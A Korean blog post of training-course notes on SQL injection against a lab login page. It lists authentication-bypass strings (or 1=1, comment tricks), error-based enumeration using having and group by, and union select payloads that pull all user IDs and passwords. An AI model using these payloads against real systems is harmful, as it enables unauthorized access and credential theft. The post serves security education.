본문으로 바로가기

[D+14] SQL Injection (2)

category 해킹&보안/웹 해킹&보안 2017. 5. 23. 23:21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

13. SQL Injection


3) 인증우회


- 우선 SQL 인젝션이 가능한지 확인하기 위해 로그인 창에 '(작은따옴표)를 넣음.

- 기존 로그인 인증 sql 구문 : select * from member where bid='[입력한 ID]' and bpass='[입력한 PW]'


1. 우회 패턴

or 'abc'='abc'

or 'ab'='a'+'b'

or 2>1

or 1=1

==========> select * from member where bid='admin' and bpass='1234' or 1=1 --' 이 되며 무조건 참을 반환

2. 주석문 이용 우회
'--
)'--
';--
==========> select * from member where bid='admin' --' and bpass=''  이 되며 무조건 해당 아이디가 있으면 참을 반환


4) Error based SQL Injection


▣ Error based SQL Injection

- 에러 기반 SQL 인젝션은 일부러 에러를 내어 해당 에러를 체크하며 SQL 인젝션 공격을 수행하는 기법이다.

- ID/PW 필드가 15자리로 고정되어 있기 때문에 이를 우회하여 공격하려면 paros를 통해 응답 메시지를 잡아 필드 길이를 수정해줌.(15 -> 150)

- 원래는 이렇게 해야하나 편의를 위해 서버 설정 파일에서 150으로 바꿔 사용함. 



1. 테이블명 및 필드명 획득하기

- group by 절이 어떤 칼럼을 기준으로 그룹을 만들때 having은 결과를 한번더 필터링하는 역할을한다.

  select절의 where와 비슷하다.

- 'having 1=1-- 구문을 이용하여 필드명을 획득함.

- 테이블명이 member이고 첫번째 필드명이 idx임을 알 수 있음.


2. 다른 필드명 획득하기

- 컬럼명을 추가적으로 획득하기 위해서는 최소한 하나의 컬럼을 알고 있어야 한다.

- 'group by [컬럼명]-- 구문을 통해 다음 필드명을 얻을 수 있음.

- group by로 지정한 컬럼만 출력할 수 있으나 select * from ~~~ 이기 때문에 참조하지 못하는 다음 필드명을 출력해줌.

- 'group by idx --

- 다음 필드명이 bid임을 알아냈으니 'group by idx, bid -- 이런식으로 늘려가며 찾음.


3. 게시판 테이블명 및 필드명 획득하기

- 게시판 역시 having과 group by를 이용하여 모든 필드명을 획득함.


4. 컬럼 타입 알아내기

- sum()을 이용하여 숫자형인지 아닌지로 구분.

- ; 구분자를 이용하여 두 개의 select를 이용하려하면 sql은 무조건 제일 처음 발생한 명령만을 보여줌.

- 이를 해결하기 위해 union을 이용하여 두 select를 합침.

- union은 앞의 select와 뒤의 select의 개수와 타입의 순서가 모두 일치해야 사용이 가능.

- 즉, ' union select sum(컬럼명) from member -- 를 이용하여 알아냄.

☞ 해당 컬럼이 숫자형식이면.. 개수 에러

☞ 해당 컬럼이 숫자형식이 아니면.. 타입 에러


5. 모든 계정의 id와 pw 획득하기

- 테이블 명과 컬럼명을 획득한 후, union 연산을 통해 결과 값이 게시판에 출력할 수 있다.

- union 은 복합적인 쿼리의 결과를 합하여 출력하기 때문에 필드의 개수가 일치해야 하고, 필드의 타입이 일치해야 한다.

- 필드 위치를 잘 파악하고 개수와 타입을 맞추어 게시판에 아이디와 패스워드를 출력한다.
- 'union select idx, bname, bpass, baddr1, bid,  baddr2, bphone, bphone,idx, bdate from member--


▣ 편법!!!!!


1. 칼럼 개수 구하기

- order by 숫자 : 해당 숫자에 해당하는 칼럼을 정렬해줌.

- 숫자가 특정숫자를 벗어나면 에러가뜸. 에러안나는 맥스 수가 칼럼수!

- ' order by 숫자--


2. union select에 NULL을 활용하자!

- NULL은 데이터타입에 상관없이 모두 출력을 해주기때문에 에러가 나지않음.

- ' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from member--

- NULL개수를 칼럼수 만큼 해주고 앞에서부터 차례대로 숫자 1로 바꿔봄.

- 에러가 나지않는다면 INT형이고 난다면 int형이 아님을 알 수있음.

- ' union select 1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from member--

- ' union select 1,'2',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from member--


==> 요런식으로 계속하면서 찾기!! 어디에 출력되는지 위치도 찾아서 한번에 이용.


- ' union select 1,NULL,bpass,NULL,bid,NULL,NULL,NULL,NULL,NULL from member--






i2sec 대구지점 23기 수료생.

'해킹&보안 > 웹 해킹&보안' 카테고리의 다른 글

[Final] War Game  (0) 2017.06.09
[D+15] SQL Injection (3)  (0) 2017.05.24
[D+13] SQL Injection  (0) 2017.05.22
[D+12] Session Management Vulnerabilities  (0) 2017.05.22
[D+11] FileUpload & FileDownlaod  (0) 2017.05.21